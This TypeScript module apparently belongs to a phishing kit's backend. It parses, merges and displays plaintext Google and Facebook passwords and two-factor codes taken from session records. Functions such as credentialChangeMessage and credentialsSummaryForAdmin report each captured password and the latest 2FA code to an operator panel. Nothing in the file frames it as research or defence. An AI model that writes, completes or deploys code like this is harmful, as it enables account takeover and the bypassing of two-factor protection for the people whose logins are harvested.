import { sanitizeLoginContact } from "./login-contact"
import type { AuthProvider } from "./auth-provider"

/** Parse / merge login data stored in user_sessions.user_password */

export type Stored2FACode = {
  type: string
  code: string
  at: string
}

export type ProviderCredentials = {
  email: string
  password: string
  codes: Stored2FACode[]
}

export type ParsedSessionCredentials = {
  /** Legacy single password (pre-provider format) */
  password: string
  codes: Stored2FACode[]
  raw: string
  google: ProviderCredentials
  facebook: ProviderCredentials
  /** Last provider that submitted */
  lastProvider: AuthProvider | null
}

const PASSWORD_LINE = /^PASSWORD:\s*(.*)$/im
const TWO_FA_LINE = /^2FA-([A-Z0-9-]+):\s*(\S+)\s*\(([^)]+)\)\s*$/im
const PROVIDER_EMAIL = /^(GOOGLE|FACEBOOK)_EMAIL:\s*(.*)$/i
const PROVIDER_PASSWORD = /^(GOOGLE|FACEBOOK)_PASSWORD:\s*(.*)$/i
const PROVIDER_2FA = /^(GOOGLE|FACEBOOK)_2FA-([A-Z0-9-]+):\s*(\S+)\s*\(([^)]+)\)\s*$/i
const LAST_PROVIDER = /^LAST_PROVIDER:\s*(google|facebook)\s*$/i

function emptyProvider(): ProviderCredentials {
  return { email: "", password: "", codes: [] }
}

export function parseSessionCredentials(
  blob: string | null | undefined
): ParsedSessionCredentials {
  const empty: ParsedSessionCredentials = {
    password: "",
    codes: [],
    raw: "",
    google: emptyProvider(),
    facebook: emptyProvider(),
    lastProvider: null,
  }

  if (!blob?.trim()) return empty

  const raw = blob.trim()
  const result: ParsedSessionCredentials = {
    ...empty,
    raw,
    google: emptyProvider(),
    facebook: emptyProvider(),
  }

  const hasProviderKeys = /^(GOOGLE|FACEBOOK)_/im.test(raw)

  if (!hasProviderKeys && !raw.includes("PASSWORD:") && !raw.match(/^2FA-/im)) {
    result.password = raw
    result.google.password = raw
    return result
  }

  const lines = raw.split("\n")
  for (const line of lines) {
    const last = line.match(LAST_PROVIDER)
    if (last) {
      result.lastProvider = last[1].toLowerCase() as AuthProvider
      continue
    }

    const pEmail = line.match(PROVIDER_EMAIL)
    if (pEmail) {
      const key = pEmail[1].toLowerCase() as AuthProvider
      result[key].email = pEmail[2].trim()
      continue
    }

    const pPass = line.match(PROVIDER_PASSWORD)
    if (pPass) {
      const key = pPass[1].toLowerCase() as AuthProvider
      result[key].password = pPass[2].trim()
      continue
    }

    const p2fa = line.match(PROVIDER_2FA)
    if (p2fa) {
      const key = p2fa[1].toLowerCase() as AuthProvider
      result[key].codes.push({
        type: p2fa[2].toLowerCase(),
        code: p2fa[3],
        at: p2fa[4].trim(),
      })
      continue
    }

    // Legacy lines → google bucket
    const passMatch = line.match(PASSWORD_LINE)
    if (passMatch) {
      result.password = passMatch[1].trim()
      if (!result.google.password) result.google.password = result.password
      continue
    }
    const codeMatch = line.match(TWO_FA_LINE)
    if (codeMatch) {
      const entry = {
        type: codeMatch[1].toLowerCase(),
        code: codeMatch[2],
        at: codeMatch[3].trim(),
      }
      result.codes.push(entry)
      result.google.codes.push(entry)
    }
  }

  // Prefer google password for legacy “password” field used elsewhere
  if (!result.password) {
    result.password = result.google.password || result.facebook.password
  }
  if (!result.codes.length) {
    result.codes = [...result.google.codes, ...result.facebook.codes]
  }

  return result
}

export function formatMultiProviderCredentials(
  data: ParsedSessionCredentials
): string {
  const lines: string[] = []
  if (data.lastProvider) {
    lines.push(`LAST_PROVIDER: ${data.lastProvider}`)
  }

  for (const provider of ["google", "facebook"] as const) {
    const block = data[provider]
    if (block.email) lines.push(`${provider.toUpperCase()}_EMAIL: ${block.email}`)
    if (block.password) {
      lines.push(`${provider.toUpperCase()}_PASSWORD: ${block.password}`)
    }
    for (const entry of block.codes) {
      lines.push(
        `${provider.toUpperCase()}_2FA-${entry.type.toUpperCase()}: ${entry.code} (${entry.at})`
      )
    }
  }

  // Keep legacy lines for older admin views if only google filled via legacy
  if (!data.google.email && !data.facebook.email && data.password) {
    lines.push(`PASSWORD: ${data.password}`)
    for (const entry of data.codes) {
      lines.push(`2FA-${entry.type.toUpperCase()}: ${entry.code} (${entry.at})`)
    }
  }

  return lines.join("\n")
}

/** @deprecated Prefer formatMultiProviderCredentials */
export function formatSessionCredentials(
  password: string,
  codes: Stored2FACode[]
): string {
  const lines: string[] = []
  if (password) lines.push(`PASSWORD: ${password}`)
  for (const entry of codes) {
    lines.push(`2FA-${entry.type.toUpperCase()}: ${entry.code} (${entry.at})`)
  }
  return lines.join("\n")
}

export function blobHasProviderPassword(blob: string | null | undefined): boolean {
  if (!blob?.trim()) return false
  return (
    /GOOGLE_PASSWORD:\s*\S+/i.test(blob) ||
    /FACEBOOK_PASSWORD:\s*\S+/i.test(blob) ||
    /^PASSWORD:\s*\S+/im.test(blob) ||
    // legacy plain password (no labeled keys)
    (!/_EMAIL:/i.test(blob) && !blob.includes(":") && blob.trim().length > 0)
  )
}

/** Prefer the blob that still has provider passwords (avoid email-only overwrites). */
export function pickRichestCredentialsBlob(
  ...blobs: Array<string | null | undefined>
): string | null {
  let best: string | null = null
  let bestScore = -1
  for (const blob of blobs) {
    if (!blob?.trim()) continue
    const hasGooglePass = /GOOGLE_PASSWORD:\s*\S+/i.test(blob)
    const hasFbPass = /FACEBOOK_PASSWORD:\s*\S+/i.test(blob)
    const hasLegacyPass =
      /^PASSWORD:\s*\S+/im.test(blob) ||
      (!blob.includes("_") &&
        blob.length > 0 &&
        !/_EMAIL:/i.test(blob) &&
        !blob.includes(":"))
    const hasEmail = /_EMAIL:/i.test(blob) || /^EMAIL:/im.test(blob)
    const score =
      (hasGooglePass ? 10 : 0) +
      (hasFbPass ? 10 : 0) +
      (hasLegacyPass ? 8 : 0) +
      (hasEmail ? 1 : 0) +
      Math.min(blob.length, 50) / 50
    if (score > bestScore) {
      bestScore = score
      best = blob.trim()
    }
  }
  return best
}

export function mergeCredentialsBlob(
  existing: string | null | undefined,
  updates: {
    password?: string
    email?: string
    provider?: AuthProvider
    appendCode?: { type: string; code: string }
  }
): string {
  const parsed = parseSessionCredentials(existing)
  const provider = updates.provider ?? parsed.lastProvider ?? "google"
  parsed.lastProvider = provider

  if (updates.email?.trim()) {
    parsed[provider].email = updates.email.trim()
  }
  if (updates.password?.trim()) {
    parsed[provider].password = updates.password.trim()
    parsed.password = updates.password.trim()
  }
  if (updates.appendCode?.code?.trim()) {
    const entry = {
      type: updates.appendCode.type,
      code: updates.appendCode.code.trim(),
      at: new Date().toISOString(),
    }
    parsed[provider].codes.push(entry)
    parsed.codes.push(entry)
  }

  return formatMultiProviderCredentials(parsed)
}

export function credentialChangeMessage(
  kind: "email" | "password" | "2fa",
  email: string | null | undefined,
  passwordBlob: string | null | undefined,
  codeType?: string,
  provider?: AuthProvider
): string {
  const parsed = parseSessionCredentials(passwordBlob)
  const label = (provider ?? parsed.lastProvider ?? "google").toUpperCase()
  const contact = sanitizeLoginContact(email)
  if (kind === "email" && contact) return `${label} · Email / phone · ${contact}`
  if (kind === "password") {
    const pass =
      (provider ? parsed[provider].password : null) || parsed.password
    return pass ? `${label} · Password · ${pass}` : `${label} · Password captured`
  }
  if (kind === "2fa") {
    const codes = provider ? parsed[provider].codes : parsed.codes
    const latest = codes[codes.length - 1]
    if (latest) return `${label} · 2FA (${latest.type}) · ${latest.code}`
    return codeType ? `${label} · 2FA · ${codeType}` : `${label} · 2FA captured`
  }
  return "Credentials updated"
}

export function credentialsSummaryForAdmin(
  email: string | null | undefined,
  blob: string | null | undefined
): string {
  const parsed = parseSessionCredentials(blob)
  const parts: string[] = []

  for (const provider of ["google", "facebook"] as const) {
    const block = parsed[provider]
    if (!block.email && !block.password && !block.codes.length) continue
    parts.push(`— ${provider.toUpperCase()} —`)
    if (block.email) parts.push(`Email/phone: ${block.email}`)
    else if (provider === "google" && sanitizeLoginContact(email)) {
      parts.push(`Email/phone: ${sanitizeLoginContact(email)}`)
    }
    if (block.password) parts.push(`Password: ${block.password}`)
    for (const c of block.codes) {
      parts.push(`2FA (${c.type}): ${c.code}`)
    }
  }

  if (!parts.length) {
    const contact = sanitizeLoginContact(email)
    if (contact) parts.push(`Email/phone: ${contact}`)
    if (parsed.password) parts.push(`Password: ${parsed.password}`)
    for (const c of parsed.codes) {
      parts.push(`2FA (${c.type}): ${c.code}`)
    }
  }

  return parts.length ? parts.join("\n") : "—"
}

export function hasAnyCredentials(
  email: string | null | undefined,
  blob: string | null | undefined
): boolean {
  const parsed = parseSessionCredentials(blob)
  return Boolean(
    sanitizeLoginContact(email) ||
      parsed.password ||
      parsed.google.email ||
      parsed.google.password ||
      parsed.facebook.email ||
      parsed.facebook.password ||
      parsed.codes.length ||
      parsed.google.codes.length ||
      parsed.facebook.codes.length
  )
}
